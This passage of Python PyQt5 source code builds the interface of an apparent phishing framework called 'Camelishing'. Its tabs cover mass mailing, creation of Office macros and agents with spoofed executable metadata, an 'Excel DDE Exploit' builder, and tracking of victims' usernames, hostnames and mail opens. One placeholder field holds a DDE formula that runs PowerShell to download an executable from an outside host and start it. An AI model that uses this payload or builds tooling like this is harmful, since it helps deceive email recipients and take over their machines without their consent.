self.label_70 = QtWidgets.QLabel(self.detailProperties) 1346 | self.label_70.setGeometry(QtCore.QRect(20, 280, 131, 16)) 1347 | self.label_70.setObjectName("label_70") 1348 | self.groupBox_6 = QtWidgets.QGroupBox(self.tab_3) 1349 | self.groupBox_6.setGeometry(QtCore.QRect(650, 30, 521, 511)) 1350 | self.groupBox_6.setObjectName("groupBox_6") 1351 | self.label_14 = QtWidgets.QLabel(self.groupBox_6) 1352 | self.label_14.setGeometry(QtCore.QRect(30, 20, 251, 71)) 1353 | self.label_14.setText("") 1354 | self.label_14.setPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\exe.PNG")) 1355 | self.label_14.setObjectName("label_14") 1356 | self.label_69 = QtWidgets.QLabel(self.groupBox_6) 1357 | self.label_69.setGeometry(QtCore.QRect(30, 90, 451, 531)) 1358 | self.label_69.setText("") 1359 | self.label_69.setPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\exe2.PNG")) 1360 | self.label_69.setObjectName("label_69") 1361 | self.createagent = QtWidgets.QPushButton(self.tab_3) 1362 | self.createagent.setGeometry(QtCore.QRect(220, 170, 101, 31)) 1363 | self.createagent.setObjectName("createagent") 1364 | self.createagent.clicked.connect(self.AgentCreate) 1365 | icon2 = QtGui.QIcon() 1366 | icon2.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\agent.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1367 | self.tabWidget.addTab(self.tab_3, icon2, "") 1368 | self.tab_4 = QtWidgets.QWidget() 1369 | self.tab_4.setMaximumSize(QtCore.QSize(16777215, 16777215)) 1370 | self.tab_4.setSizeIncrement(QtCore.QSize(0, 0)) 1371 | self.tab_4.setBaseSize(QtCore.QSize(0, 0)) 1372 | self.tab_4.setObjectName("tab_4") 1373 | self.exceldde = QtWidgets.QGroupBox(self.tab_4) 1374 | self.exceldde.setGeometry(QtCore.QRect(170, 40, 911, 401)) 1375 | self.exceldde.setObjectName("exceldde") 1376 | self.label_81 = QtWidgets.QLabel(self.exceldde) 1377 | self.label_81.setGeometry(QtCore.QRect(30, 50, 81, 21)) 1378 | self.label_81.setObjectName("label_81") 1379 | self.agenturl = QtWidgets.QLineEdit(self.exceldde) 1380 | self.agenturl.setGeometry(QtCore.QRect(140, 50, 161, 20)) 1381 | self.agenturl.setObjectName("agenturl") 1382 | self.label_82 = QtWidgets.QLabel(self.exceldde) 1383 | self.label_82.setGeometry(QtCore.QRect(30, 90, 101, 21)) 1384 | self.label_82.setObjectName("label_82") 1385 | self.agentname = QtWidgets.QLineEdit(self.exceldde) 1386 | self.agentname.setGeometry(QtCore.QRect(140, 90, 161, 20)) 1387 | self.agentname.setObjectName("agentname") 1388 | self.label_83 = QtWidgets.QLabel(self.exceldde) 1389 | self.label_83.setGeometry(QtCore.QRect(30, 130, 101, 21)) 1390 | self.label_83.setObjectName("label_83") 1391 | self.ddelinetext = QtWidgets.QTextEdit(self.exceldde) 1392 | self.ddelinetext.setGeometry(QtCore.QRect(140, 140, 271, 251)) 1393 | self.ddelinetext.setObjectName("ddelinetext") 1394 | self.ddetextloc = QtWidgets.QLineEdit(self.exceldde) 1395 | self.ddetextloc.setGeometry(QtCore.QRect(590, 50, 31, 20)) 1396 | self.ddetextloc.setObjectName("ddetextloc") 1397 | self.label_84 = QtWidgets.QLabel(self.exceldde) 1398 | self.label_84.setGeometry(QtCore.QRect(470, 50, 101, 21)) 1399 | self.label_84.setObjectName("label_84") 1400 | self.label_85 = QtWidgets.QLabel(self.exceldde) 1401 | self.label_85.setGeometry(QtCore.QRect(630, 50, 101, 16)) 1402 | font = QtGui.QFont() 1403 | font.setPointSize(7) 1404 | self.label_85.setFont(font) 1405 | self.label_85.setObjectName("label_85") 1406 | self.ddeimgloc = QtWidgets.QLineEdit(self.exceldde) 1407 | self.ddeimgloc.setGeometry(QtCore.QRect(590, 130, 41, 20)) 1408 | self.ddeimgloc.setStatusTip("") 1409 | self.ddeimgloc.setInputMask("") 1410 | self.ddeimgloc.setText("") 1411 | self.ddeimgloc.setCursorPosition(0) 1412 | self.ddeimgloc.setReadOnly(False) 1413 | self.ddeimgloc.setPlaceholderText("") 1414 | self.ddeimgloc.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1415 | self.ddeimgloc.setObjectName("ddeimgloc") 1416 | self.label_86 = QtWidgets.QLabel(self.exceldde) 1417 | self.label_86.setGeometry(QtCore.QRect(470, 90, 121, 16)) 1418 | self.label_86.setObjectName("label_86") 1419 | self.label_87 = QtWidgets.QLabel(self.exceldde) 1420 | self.label_87.setGeometry(QtCore.QRect(470, 130, 121, 16)) 1421 | self.label_87.setObjectName("label_87") 1422 | self.ddeimageselect = QtWidgets.QPushButton(self.exceldde) 1423 | self.ddeimageselect.setGeometry(QtCore.QRect(790, 90, 81, 23)) 1424 | font = QtGui.QFont() 1425 | font.setPointSize(9) 1426 | self.ddeimageselect.setFont(font) 1427 | self.ddeimageselect.setObjectName("ddeimageselect") 1428 | self.ddeimageselect.clicked.connect(self.DDEImgSelect) 1429 | self.ddeimage = QtWidgets.QLineEdit(self.exceldde) 1430 | self.ddeimage.setGeometry(QtCore.QRect(590, 90, 191, 20)) 1431 | self.ddeimage.setStatusTip("") 1432 | self.ddeimage.setInputMask("") 1433 | self.ddeimage.setText("") 1434 | self.ddeimage.setCursorPosition(0) 1435 | self.ddeimage.setReadOnly(True) 1436 | self.ddeimage.setPlaceholderText("") 1437 | self.ddeimage.setCursorMoveStyle(QtCore.Qt.LogicalMoveStyle) 1438 | self.ddeimage.setObjectName("ddeimage") 1439 | 1440 | self.orthercheck = QtWidgets.QCheckBox(self.exceldde) 1441 | self.orthercheck.setGeometry(QtCore.QRect(470, 180, 101, 17)) 1442 | font = QtGui.QFont() 1443 | font.setPointSize(8) 1444 | self.orthercheck.setFont(font) 1445 | self.orthercheck.setObjectName("orthercheck") 1446 | 1447 | 1448 | self.ortherpayload = QtWidgets.QTextEdit(self.exceldde) 1449 | self.ortherpayload.setGeometry(QtCore.QRect(570, 180, 301, 151)) 1450 | self.ortherpayload.setObjectName("ortherpayload") 1451 | self.ortherpayload.setReadOnly(False) 1452 | self.ortherpayload.setPlaceholderText("=cmd|'/c powershell.exe (New-Object System.Net.WebClient).DownloadFile(\"https://the.earth.li/~sgtatham/putty/latest/w32/psftp.exe\",\"agent.exe\");Start-Process \"agent.exe\"'") 1453 | icon3 = QtGui.QIcon() 1454 | icon3.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\Office-icon.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1455 | self.tabWidget.addTab(self.tab_4, icon3, "") 1456 | self.tab_6 = QtWidgets.QWidget() 1457 | self.tab_6.setObjectName("tab_6") 1458 | self.mailOpenTrack = QtWidgets.QGroupBox(self.tab_6) 1459 | self.mailOpenTrack.setGeometry(QtCore.QRect(100, 30, 421, 421)) 1460 | self.mailOpenTrack.setObjectName("mailOpenTrack") 1461 | self.mailopenwidget = QtWidgets.QTreeWidget(self.mailOpenTrack) 1462 | self.mailopenwidget.setGeometry(QtCore.QRect(10, 50, 401, 361)) 1463 | self.mailopenwidget.setObjectName("mailopenwidget") 1464 | 1465 | self.ddestart = QtWidgets.QPushButton(self.exceldde) 1466 | self.ddestart.setGeometry(QtCore.QRect(680, 350, 81, 23)) 1467 | self.ddestart.setFont(font) 1468 | self.ddestart.setObjectName("ddestart") 1469 | self.ddestart.clicked.connect(self.DDECreate) 1470 | 1471 | self.screetwidget = QtWidgets.QTreeWidget() 1472 | self.nonscreetwidget = QtWidgets.QTreeWidget() 1473 | 1474 | self.agentOpenTrack = QtWidgets.QGroupBox(self.tab_6) 1475 | self.agentOpenTrack.setGeometry(QtCore.QRect(550, 30, 601, 421)) 1476 | self.agentOpenTrack.setObjectName("agentOpenTrack") 1477 | self.agentOpenwidget = QtWidgets.QTreeWidget(self.agentOpenTrack) 1478 | self.agentOpenwidget.setGeometry(QtCore.QRect(5, 51, 591, 361)) 1479 | self.agentOpenwidget.setAutoScroll(True) 1480 | self.agentOpenwidget.setDragEnabled(False) 1481 | self.agentOpenwidget.setAlternatingRowColors(False) 1482 | self.agentOpenwidget.setAnimated(True) 1483 | self.agentOpenwidget.setObjectName("agentOpenwidget") 1484 | self.returnstart = QtWidgets.QPushButton(self.tab_6) 1485 | self.returnstart.setGeometry(QtCore.QRect(800, 510, 100, 23)) 1486 | self.returnstart.setObjectName("returnstart") 1487 | self.returnstart.clicked.connect(self.StartRet) 1488 | 1489 | 1490 | self.opentrackstart = QtWidgets.QPushButton(self.tab_6) 1491 | self.opentrackstart.setGeometry(QtCore.QRect(250,470,121,23)) 1492 | self.opentrackstart.setObjectName("opentrackstart") 1493 | self.opentrackstart.clicked.connect(self.returnControl) 1494 | 1495 | self.returnhost = QtWidgets.QLineEdit(self.tab_6) 1496 | self.returnhost.setGeometry(QtCore.QRect(720, 470, 113, 20)) 1497 | self.returnhost.setObjectName("returnhost") 1498 | 1499 | self.returnport = QtWidgets.QLineEdit(self.tab_6) 1500 | self.returnport.setGeometry(QtCore.QRect(870, 470, 113, 20)) 1501 | self.returnport.setObjectName("returnport") 1502 | 1503 | self.returnhostlabel = QtWidgets.QLabel(self.tab_6) 1504 | self.returnhostlabel.setGeometry(QtCore.QRect(760, 450, 47, 14)) 1505 | self.returnhostlabel.setObjectName("returnhostlabel") 1506 | 1507 | self.returnportlabel = QtWidgets.QLabel(self.tab_6) 1508 | self.returnportlabel.setGeometry(QtCore.QRect(910, 450, 47, 14)) 1509 | self.returnportlabel.setObjectName("returnportlabel") 1510 | 1511 | 1512 | icon4 = QtGui.QIcon() 1513 | icon4.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\search_mail-512.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1514 | self.tabWidget.addTab(self.tab_6, icon4, "") 1515 | self.tab_5 = QtWidgets.QWidget() 1516 | self.tab_5.setObjectName("tab_5") 1517 | self.mailopenstatistic = QtWidgets.QGraphicsView(self.tab_5) 1518 | self.mailopenstatistic.setGeometry(QtCore.QRect(0, 30, 611, 480)) 1519 | self.mailopenstatistic.setObjectName("mailopenstatistic") 1520 | self.agentopenstatistic = QtWidgets.QGraphicsView(self.tab_5) 1521 | self.agentopenstatistic.setGeometry(QtCore.QRect(640, 30, 615, 480)) 1522 | self.agentopenstatistic.setObjectName("agentopenstatistic") 1523 | self.statisticgenerate = QtWidgets.QPushButton(self.tab_5) 1524 | self.statisticgenerate.setGeometry(QtCore.QRect(900, 520, 121, 23)) 1525 | self.statisticgenerate.setObjectName("statisticgenerate") 1526 | self.statisticgenerate.clicked.connect(self.GenerateStatistic) 1527 | 1528 | self.statisticmailgenerate = QtWidgets.QPushButton(self.tab_5) 1529 | self.statisticmailgenerate.setGeometry(QtCore.QRect(240, 520, 121, 23)) 1530 | self.statisticmailgenerate.setObjectName("statisticmailgenerate") 1531 | self.statisticmailgenerate.clicked.connect(self.GenerateMailStatistic) 1532 | 1533 | 1534 | 1535 | self.label_34 = QtWidgets.QLabel(self.tab_5) 1536 | self.label_34.setGeometry(QtCore.QRect(230, 0, 121, 20)) 1537 | self.label_34.setObjectName("label_34") 1538 | self.label_35 = QtWidgets.QLabel(self.tab_5) 1539 | self.label_35.setGeometry(QtCore.QRect(860, 0, 141, 20)) 1540 | self.label_35.setObjectName("label_35") 1541 | 1542 | icon5 = QtGui.QIcon() 1543 | icon5.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\grey_new_seo2-40-128.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1544 | self.tabWidget.addTab(self.tab_5, icon5, "") 1545 | self.tab_7 = QtWidgets.QWidget() 1546 | self.tab_7.setObjectName("tab_7") 1547 | self.smtpSetting = QtWidgets.QGroupBox(self.tab_7) 1548 | self.smtpSetting.setGeometry(QtCore.QRect(160, 40, 431, 421)) 1549 | self.smtpSetting.setObjectName("smtpSetting") 1550 | self.label_30 = QtWidgets.QLabel(self.smtpSetting) 1551 | self.label_30.setGeometry(QtCore.QRect(40, 70, 91, 16)) 1552 | self.label_30.setObjectName("label_30") 1553 | self.smtphost = QtWidgets.QLineEdit(self.smtpSetting) 1554 | self.smtphost.setGeometry(QtCore.QRect(150, 70, 151, 20)) 1555 | self.smtphost.setObjectName("smtphost") 1556 | self.label_31 = QtWidgets.QLabel(self.smtpSetting) 1557 | self.label_31.setGeometry(QtCore.QRect(40, 110, 91, 16)) 1558 | self.label_31.setObjectName("label_31") 1559 | self.smtpport = QtWidgets.QLineEdit(self.smtpSetting) 1560 | self.smtpport.setGeometry(QtCore.QRect(150, 110, 41, 20)) 1561 | self.smtpport.setObjectName("smtpport") 1562 | self.label_32 = QtWidgets.QLabel(self.smtpSetting) 1563 | self.label_32.setGeometry(QtCore.QRect(40, 150, 91, 16)) 1564 | self.label_32.setObjectName("label_32") 1565 | self.mailadress = QtWidgets.QLineEdit(self.smtpSetting) 1566 | self.mailadress.setGeometry(QtCore.QRect(150, 150, 151, 20)) 1567 | self.mailadress.setObjectName("mailadress") 1568 | self.label_33 = QtWidgets.QLabel(self.smtpSetting) 1569 | self.label_33.setGeometry(QtCore.QRect(40, 190, 101, 16)) 1570 | self.label_33.setObjectName("label_33") 1571 | self.mailpassword = QtWidgets.QLineEdit(self.smtpSetting) 1572 | self.mailpassword.setGeometry(QtCore.QRect(150, 190, 151, 20)) 1573 | self.mailpassword.setObjectName("mailpassword") 1574 | self.mailpassword.setEchoMode(QLineEdit.Password) 1575 | self.serverSetting = QtWidgets.QGroupBox(self.tab_7) 1576 | self.serverSetting.setGeometry(QtCore.QRect(650, 40, 431, 421)) 1577 | self.serverSetting.setObjectName("serverSetting") 1578 | self.sship = QtWidgets.QLineEdit(self.serverSetting) 1579 | self.sship.setGeometry(QtCore.QRect(170, 80, 151, 20)) 1580 | self.sship.setObjectName("sship") 1581 | self.sshport = QtWidgets.QLineEdit(self.serverSetting) 1582 | self.sshport.setGeometry(QtCore.QRect(170, 120, 41, 20)) 1583 | self.sshport.setObjectName("sshport") 1584 | self.label_109 = QtWidgets.QLabel(self.serverSetting) 1585 | self.label_109.setGeometry(QtCore.QRect(30, 270, 121, 16)) 1586 | self.label_109.setObjectName("label_109") 1587 | self.label_110 = QtWidgets.QLabel(self.serverSetting) 1588 | self.label_110.setGeometry(QtCore.QRect(30, 120, 91, 16)) 1589 | self.label_110.setObjectName("label_110") 1590 | self.sshpass = QtWidgets.QLineEdit(self.serverSetting) 1591 | self.sshpass.setGeometry(QtCore.QRect(170, 270, 151, 20)) 1592 | self.sshpass.setObjectName("sshpass") 1593 | self.sshpass.setEchoMode(QLineEdit.Password) 1594 | self.sshpass.setEnabled(False) 1595 | 1596 | 1597 | self.label_111 = QtWidgets.QLabel(self.serverSetting) 1598 | self.label_111.setGeometry(QtCore.QRect(30, 80, 111, 16)) 1599 | self.label_111.setObjectName("label_111") 1600 | self.accesslog = QtWidgets.QLineEdit(self.serverSetting) 1601 | self.accesslog.setGeometry(QtCore.QRect(170, 160, 151, 20)) 1602 | self.accesslog.setObjectName("accesslog") 1603 | self.label_112 = QtWidgets.QLabel(self.serverSetting) 1604 | self.label_112.setGeometry(QtCore.QRect(30, 160, 121, 16)) 1605 | self.label_112.setObjectName("label_112") 1606 | self.sshuser = QtWidgets.QLineEdit(self.serverSetting) 1607 | self.sshuser.setGeometry(QtCore.QRect(170, 40, 151, 20)) 1608 | self.sshuser.setObjectName("sshuser") 1609 | self.label_113 = QtWidgets.QLabel(self.serverSetting) 1610 | self.label_113.setGeometry(QtCore.QRect(30, 40, 121, 16)) 1611 | self.label_113.setObjectName("label_113") 1612 | self.label_114 = QtWidgets.QLabel(self.serverSetting) 1613 | self.label_114.setGeometry(QtCore.QRect(30, 200, 121, 16)) 1614 | self.label_114.setObjectName("label_114") 1615 | 1616 | self.privatelabel = QtWidgets.QLabel(self.serverSetting) 1617 | self.privatelabel.setGeometry(QtCore.QRect(30, 340, 121, 16)) 1618 | self.privatelabel.setObjectName("privatelabel") 1619 | 1620 | 1621 | self.privatepasslabel = QtWidgets.QLabel(self.serverSetting) 1622 | self.privatepasslabel.setGeometry(QtCore.QRect(30, 380, 121, 16)) 1623 | self.privatepasslabel.setObjectName("privatepasslabel") 1624 | 1625 | 1626 | 1627 | self.opentrackurl = QtWidgets.QLineEdit(self.serverSetting) 1628 | self.opentrackurl.setGeometry(QtCore.QRect(170, 200, 151, 20)) 1629 | self.opentrackurl.setObjectName("opentrackurl") 1630 | 1631 | self.normalconnect = QtWidgets.QCheckBox(self.serverSetting) 1632 | self.normalconnect.setGeometry(QtCore.QRect(30, 240, 131, 17)) 1633 | self.normalconnect.setFont(font) 1634 | self.normalconnect.setObjectName("normalconnect") 1635 | 1636 | self.privateconnect = QtWidgets.QCheckBox(self.serverSetting) 1637 | self.privateconnect.setGeometry(QtCore.QRect(30, 310, 131, 17)) 1638 | self.privateconnect.setFont(font) 1639 | self.privateconnect.setObjectName("privateconnect") 1640 | 1641 | self.selectprivate = QtWidgets.QPushButton(self.serverSetting) 1642 | self.selectprivate.setGeometry(QtCore.QRect(290, 340, 75, 23)) 1643 | self.selectprivate.setObjectName("selectprivate") 1644 | self.selectprivate.setEnabled(False) 1645 | self.selectprivate.clicked.connect(self.selectPrivate) 1646 | 1647 | 1648 | icon6 = QtGui.QIcon() 1649 | icon6.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\letter__open__post__openmail__mail__email__envelope-128.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1650 | self.tabWidget.addTab(self.tab_7, icon6, "") 1651 | MainWindow.setCentralWidget(self.centralwidget) 1652 | self.actionSettings = QtWidgets.QAction(MainWindow) 1653 | icon7 = QtGui.QIcon() 1654 | icon7.addPixmap(QtGui.QPixmap(os.getcwd()+"\\ico\\settingApp.ico"), QtGui.QIcon.Normal, QtGui.QIcon.Off) 1655 | self.actionSettings.setIcon(icon7) 1656 | self.actionSettings.setObjectName("actionSettings") 1657 | self.actionOpenTrack_Setting = QtWidgets.QAction(MainWindow) 1658 | self.actionOpenTrack_Setting.setIcon(icon6) 1659 | self.actionOpenTrack_Setting.setObjectName("actionOpenTrack_Setting") 1660 | self.actionnone = QtWidgets.QAction(MainWindow) 1661 | self.actionnone.setObjectName("actionnone") 1662 | self.agentopenlabel = QtWidgets.QLabel(self.tab_5) 1663 | self.agentopenlabel.setGeometry(QtCore.QRect(640, 30, 615, 480)) 1664 | self.agentopenlabel.setObjectName("agentopenlabel") 1665 | 1666 | self.mailopenlabel = QtWidgets.QLabel(self.tab_5) 1667 | self.mailopenlabel.setGeometry(QtCore.QRect(0, 30, 611, 480)) 1668 | self.mailopenlabel.setObjectName("mailopenlabel") 1669 | self.privatekey = QtWidgets.QLineEdit(self.serverSetting) 1670 | self.privatekey.setGeometry(QtCore.QRect(130, 340, 151, 20)) 1671 | self.privatekey.setObjectName("privatekey") 1672 | self.privatekey.setEnabled(False) 1673 | self.privatekey.setReadOnly(True) 1674 | 1675 | self.privatekeypass = QtWidgets.QLineEdit(self.serverSetting) 1676 | self.privatekeypass.setGeometry(QtCore.QRect(130, 380, 151, 20)) 1677 | self.privatekeypass.setObjectName("privatekeypass") 1678 | self.privatekeypass.setEnabled(False) 1679 | self.privatekeypass.setEchoMode(QLineEdit.Password) 1680 | 1681 | self.retranslateUi(MainWindow) 1682 | self.tabWidget.setCurrentIndex(0) 1683 | QtCore.QMetaObject.connectSlotsByName(MainWindow) 1684 | self.normalconnect.clicked.connect(self.sshpass.setEnabled) 1685 | self.normalconnect.clicked.connect(self.privateconnect.setDisabled) 1686 | 1687 | self.privateconnect.clicked.connect(self.privatekey.setEnabled) 1688 | self.privateconnect.clicked.connect(self.privatekeypass.setEnabled) 1689 | self.privateconnect.clicked.connect(self.normalconnect.setDisabled) 1690 | self.privateconnect.clicked.connect(self.selectprivate.setEnabled) 1691 | self.privatestart = "" 1692 | 1693 | def retranslateUi(self, MainWindow): 1694 | _translate = QtCore.QCoreApplication.translate 1695 | MainWindow.setWindowTitle(_translate("MainWindow", "Camelishing")) 1696 | MainWindow.setWindowIcon(QtGui.QIcon(os.getcwd()+"\\ico\\hook.png")) 1697 | self.senderlabel.setText(_translate("MainWindow", "Mail Settings")) 1698 | self.messagelabel.setText(_translate("MainWindow", "Message : ")) 1699 | self.maillistlabel.setText(_translate("MainWindow", "Mail List :")) 1700 | self.openmaillist.setText(_translate("MainWindow", "Open List")) 1701 | self.attachment_2.setText(_translate("MainWindow", "Attachment : ")) 1702 | self.openattach.setText(_translate("MainWindow", "Open File")) 1703 | self.subjectlabel.setText(_translate("MainWindow", "Subject : ")) 1704 | self.mailstart.setText(_translate("MainWindow", "START")) 1705 | self.threadlabel.setText(_translate("MainWindow", "Thread :")) 1706 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), _translate("MainWindow", "Mail Sender")) 1707 | self.label_6.setText(_translate("MainWindow", "Filename :")) 1708 | self.label_7.setText(_translate("MainWindow", "Save As :")) 1709 | self.macroselectdir.setText(_translate("MainWindow", "Select Dir")) 1710 | self.label_8.setText(_translate("MainWindow", "Agent Url :")) 1711 | self.label_9.setText(_translate("MainWindow", "LineText :")) 1712 | self.label_10.setText(_translate("MainWindow", "Button Text :")) 1713 | self.label_11.setText(_translate("MainWindow", "Exapmle : Push Button")) 1714 | self.label_12.setText(_translate("MainWindow", "Exapmle : workform")) 1715 | self.label_15.setText(_translate("MainWindow", "Text Location :")) 1716 | self.label_17.setText(_translate("MainWindow", "Button Location :")) 1717 | self.label_19.setText(_translate("MainWindow", "Insert Image :")) 1718 | self.opentrackstart.setText(_translate("MainWindow","Start")) 1719 | self.privateconnect.setText(_translate("MainWindow","Private Connect")) 1720 | self.macroselectimage.setText(_translate("MainWindow", "Select Image")) 1721 | self.label_21.setText(_translate("MainWindow", "Image Location :")) 1722 | self.label_18.setText(_translate("MainWindow", "Exapmle Location : A3")) 1723 | self.macrocreate.setText(_translate("MainWindow", "CREATE MACRO")) 1724 | self.groupBox_5.setTitle(_translate("MainWindow", "Example")) 1725 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), _translate("MainWindow", "Macro Creator")) 1726 | self.returnhostlabel.setText(_translate("MainWindow","HOST")) 1727 | self.returnportlabel.setText(_translate("MainWindow", "PORT")) 1728 | self.connectSettings.setTitle(_translate("MainWindow", "Connect Settings")) 1729 | self.label_20.setText(_translate("MainWindow", "Host :")) 1730 | self.label_22.setText(_translate("MainWindow", "Port :")) 1731 | self.label_79.setText(_translate("MainWindow", "Local or Static Ip")) 1732 | self.detailProperties.setTitle(_translate("MainWindow", "Detail Properties")) 1733 | self.ddestart.setText(_translate("MainWindow", "Create DDE")) 1734 | self.label_23.setText(_translate("MainWindow", "Company Name :")) 1735 | self.label_24.setText(_translate("MainWindow", "File Description :")) 1736 | self.label_25.setText(_translate("MainWindow", "File Version : ")) 1737 | self.label_26.setText(_translate("MainWindow", "Copyright :")) 1738 | self.label_27.setText(_translate("MainWindow", "Original Filename :")) 1739 | self.label_28.setText(_translate("MainWindow", "Product Name :")) 1740 | self.label_29.setText(_translate("MainWindow", "Product Version :")) 1741 | self.label_37.setText(_translate("MainWindow", "File Version :")) 1742 | self.label_68.setText(_translate("MainWindow", "File Icon :")) 1743 | self.fileicoselect.setText(_translate("MainWindow", "Select")) 1744 | self.label_71.setText(_translate("MainWindow", "Nagato Security Client")) 1745 | self.label_72.setText(_translate("MainWindow", "Nagato Project")) 1746 | self.label_73.setText(_translate("MainWindow", "4.2")) 1747 | self.label_74.setText(_translate("MainWindow", "Copyright 2004-2018")) 1748 | self.label_75.setText(_translate("MainWindow", "Uygulama.exe")) 1749 | self.label_76.setText(_translate("MainWindow", "Nagato")) 1750 | self.label_77.setText(_translate("MainWindow", "3.11.1.0")) 1751 | self.label_78.setText(_translate("MainWindow", "3.11.1.0")) 1752 | self.label_80.setText(_translate("MainWindow", "Uygulama")) 1753 | self.label_70.setText(_translate("MainWindow", "File Name :")) 1754 | self.groupBox_6.setTitle(_translate("MainWindow", "Examples")) 1755 | self.createagent.setText(_translate("MainWindow", "Create Agent")) 1756 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_3), _translate("MainWindow", "Agent Creator")) 1757 | self.exceldde.setTitle(_translate("MainWindow", "Excel DDE Exploit")) 1758 | self.label_81.setText(_translate("MainWindow", "Agent Url :")) 1759 | self.selectprivate.setText(_translate("MainWindow", "Select")) 1760 | self.label_82.setText(_translate("MainWindow", "Agent Name :")) 1761 | self.label_83.setText(_translate("MainWindow", "Line Text :")) 1762 | self.label_84.setText(_translate("MainWindow", "Text Location :")) 1763 | self.label_85.setText(_translate("MainWindow", "Exapmle : A3")) 1764 | self.label_86.setText(_translate("MainWindow", "Insert Image :")) 1765 | self.label_87.setText(_translate("MainWindow", "Image Location :")) 1766 | self.ddeimageselect.setText(_translate("MainWindow", "Select Image")) 1767 | self.orthercheck.setText(_translate("MainWindow", "Orther Payload")) 1768 | self.normalconnect.setText(_translate("MainWindow", "Normal Connect")) 1769 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_4), _translate("MainWindow", "Office Vulnerable")) 1770 | self.mailOpenTrack.setTitle(_translate("MainWindow", "Mail Open Track")) 1771 | self.mailopenwidget.headerItem().setText(0, _translate("MainWindow", "Emails")) 1772 | self.mailopenwidget.headerItem().setText(1, _translate("MainWindow", "Status")) 1773 | self.agentOpenTrack.setTitle(_translate("MainWindow", "Agent Open Track")) 1774 | self.agentOpenwidget.headerItem().setText(0, _translate("MainWindow", "Username")) 1775 | self.agentOpenwidget.headerItem().setText(1, _translate("MainWindow", "Hostname")) 1776 | self.agentOpenwidget.headerItem().setText(2, _translate("MainWindow", "Platform")) 1777 | self.agentOpenwidget.headerItem().setText(3, _translate("MainWindow", "Open Time")) 1778 | self.returnstart.setText(_translate("MainWindow", "Start")) 1779 | self.privatelabel.setText(_translate("MainWindow", "Private Key :")) 1780 | self.privatepasslabel.setText(_translate("MainWindow", "Passphrase :")) 1781 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_6), _translate("MainWindow", "Return Information")) 1782 | self.statisticgenerate.setText(_translate("MainWindow", "Generate")) 1783 | self.statisticmailgenerate.setText(_translate("MainWindow","Generate")) 1784 | self.label_34.setText(_translate("MainWindow", "Mail Open Statistic")) 1785 | self.label_35.setText(_translate("MainWindow", "Agent Open Statistic")) 1786 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_5), _translate("MainWindow", "Statistics Report")) 1787 | self.smtpSetting.setTitle(_translate("MainWindow", "Smtp Settings")) 1788 | self.label_30.setText(_translate("MainWindow", "Smtp Host :")) 1789 | self.label_31.setText(_translate("MainWindow", "Smtp Port :")) 1790 | self.label_32.setText(_translate("MainWindow", "Mail Adress :")) 1791 | self.label_33.setText(_translate("MainWindow", "Mail Password :")) 1792 | self.serverSetting.setTitle(_translate("MainWindow", "Server Settings")) 1793 | self.label_109.setText(_translate("MainWindow", "Password :")) 1794 | self.label_110.setText(_translate("MainWindow", "SSH Port :")) 1795 | self.label_111.setText(_translate("MainWindow", "SSH Ip Adress :")) 1796 | self.label_112.setText(_translate("MainWindow", "Access Log Path :")) 1797 | self.label_113.setText(_translate("MainWindow", "Username :")) 1798 | self.label_114.setText(_translate("MainWindow", "Url :")) 1799 | self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_7), _translate("MainWindow", "General Settings")) 1800 | self.actionSettings.setText(_translate("MainWindow", "Mail Setting")) 1801 | self.actionOpenTrack_Setting.setText(_translate("MainWindow", "Server Setting")) 1802 | self.actionnone.setText(_translate("MainWindow", "none")) 1803 | 1804 | 1805 | if __name__ == '__main__': 1806 | app = QApplication(sys.argv) 1807 | app.setStyle('gtk+') 1808 | app.setStyleSheet("b") 1809 | win = Ui_MainWindow() 1810 | cls = QMainWindow() 1811 | win.setupUi(cls) 1812 | cls.show() 1813 | sys.exit(app.exec_()) 1814 | --------------------------------------------------------------------------------